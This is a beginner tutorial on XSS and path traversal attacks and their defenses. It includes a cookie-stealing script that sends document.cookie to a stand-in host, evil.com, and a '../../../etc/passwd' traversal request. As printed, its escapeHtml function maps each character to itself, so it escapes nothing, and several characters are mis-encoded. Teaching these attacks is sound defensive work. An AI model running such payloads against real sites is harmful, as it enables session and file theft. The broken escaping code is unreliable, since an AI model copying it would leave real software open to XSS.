Web Security Fundamentals β XSS and Path Traversal
After completing this topic
You will be able to explain what XSS and path traversal attacks are and apply the principle of "always distrust user input" to your code.
User input can be a weapon
Web applications receive and process user input β search terms, comments, URL parameters. The problem is that this input can contain malicious code.
The first principle of security: "Everything sent by the user can be a lie."
XSS β Cross-Site Scripting
XSS (Cross-Site Scripting) is an attack where an attacker injects malicious JavaScript into a web page.
<!-- What if someone posted this comment on a forum? -->
<script>alert('Hacked!')</script>If the server inserts this comment directly into the HTML, the script will be executed in the browser of every user who visits the page.
// A more dangerous example: cookie theft
// Script injected by the attacker
`<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>`If the user's login session is stolen, the attacker can act as that user.
Defense: Escaping
Convert HTML special characters to harmless characters.
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"');
}
// <script>alert('Hacked!')</script>
// β <script>alert('Hacked!')</script>
// The browser will display this as text, not execute it.Frameworks like React and Next.js perform automatic escaping by default. However, you must be careful when using APIs like dangerouslySetInnerHTML, as this protection is removed.
Path Traversal
When a server reads and responds with a file, a user can manipulate the file path.
// Code to read and display the requested file
const filename = req.query.file; // User input!
const content = fs.readFileSync('./public/' + filename, 'utf8');
res.send(content);Normal request: ?file=about.html β ./public/about.html
Attack request: ?file=../../../etc/passwd β ./public/../../../etc/passwd β /etc/passwd
Using .. to escape to an unintended directory.
Defense: Path Normalization + Whitelisting
const path = require('path');
const safePath = path.resolve('./public', filename);
// Check if it is within the public directory
if (!safePath.startsWith(path.resolve('./public'))) {
return res.status(403).send('Access denied');
}path.resolve() resolves all .. to create the actual absolute path, and then checks if that path is within the allowed directory.
Key Principles Summary
- Never trust: All user input (URLs, forms, cookies, headers) must be validated.
- Escape on output: Convert special characters before inserting into HTML (XSS defense).
- Normalize and validate paths: Use resolve + startsWith to prevent
..escaping (path traversal defense). - Do not bypass framework protection: Use APIs that disable React's automatic escaping only when absolutely necessary.